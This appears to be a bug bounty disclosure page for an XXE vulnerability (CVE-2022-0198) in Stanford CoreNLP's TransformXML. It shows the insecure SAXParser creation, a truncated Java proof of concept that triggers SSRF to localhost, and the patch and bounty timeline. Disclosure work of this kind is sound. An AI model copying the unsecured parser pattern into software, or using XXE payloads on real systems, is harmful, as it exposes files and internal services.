Improper Restriction of XML External Entity Reference in stanfordnlp/corenlp

0

Valid Reported on Jan 11th 2022

Description

The TransformXML() function makes use of SAXParser generated from a SAXParserFactory with no FEATURE_SECURE_PROCESSING set, allowing for XXE attacks. In https://github.com/stanfordnlp/CoreNLP/blob/ef9022322c14bbafab18a0002173e56ae377d6ef/src/edu/stanford/nlp/process/TransformXML.java#L196L203

```
try {
      saxParser = SAXParserFactory.newInstance().newSAXParser();
} catch (Exception e) {
      log.info("Error configuring XML parser: " + e);
      throw new RuntimeException(e);
}
```

SAXParser is created without FEATURE_SECURE_PROCESSING set, leaving it vulnerable to XXE

Proof of Concept

Extracted out the key function SAXParser saxParser = SAXParserFactory.newInstance().newSAXParser(), to showcase how it can be exploited.

```
import javax.xml.parsers.SAXParser;
import javax.xml.parsers.SAXParserFactory;
import org.xml.sax.HandlerBase;

import java.io.ByteArrayInputStream;

public class Poc {

    public static void main(String[] args) {
```

```
        try {
            String xmlpoc = "<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY
            SAXParser saxParser = SAXParserFactory.newInstance().newSAXPars
            saxParser.parse(new ByteArrayInputStream(xmlpoc.getBytes()), ne
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
```

Causes an SSRF to http://127.0.0.1

Impact

This vulnerability is capable of XXE to disclose data / conduct SSRF attacks etc.

CVE
CVE-2022-0198
(Published)

Vulnerability Type
CWE-611: Improper Restriction of XML External Entity Reference

Severity
Medium (6.1)

Visibility
Public

Status
Fixed

Found by

haxatron
@haxatron
pro

Fixed by

haxatron
@haxatron

pro

This report was seen 364 times.

We are processing your report and will contact the **stanfordnlp/corenlp** team within 24 hours.
a year ago

haxatron modified the report a year ago

haxatron modified the report a year ago

haxatron submitted a patch a year ago

haxatron a year ago — Researcher

Patch https://github.com/stanfordnlp/corenlp/compare/HEAD...haxatron:fix-xxe

We have contacted a member of the **stanfordnlp/corenlp** team and are waiting to hear back
10 months ago

A **stanfordnlp/corenlp** maintainer validated this vulnerability 10 months ago

haxatron has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

A **stanfordnlp/corenlp** maintainer marked this as fixed in **4.3.3** with commit **1f5213**
10 months ago

haxatron has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✖

haxatron 10 months ago — Researcher

@maintainer
line 198 should be spf.newSAXParser();

A **stanfordnlp/corenlp** maintainer 10 months ago — Maintainer

Thank you for the report!

Sign in to join this conversation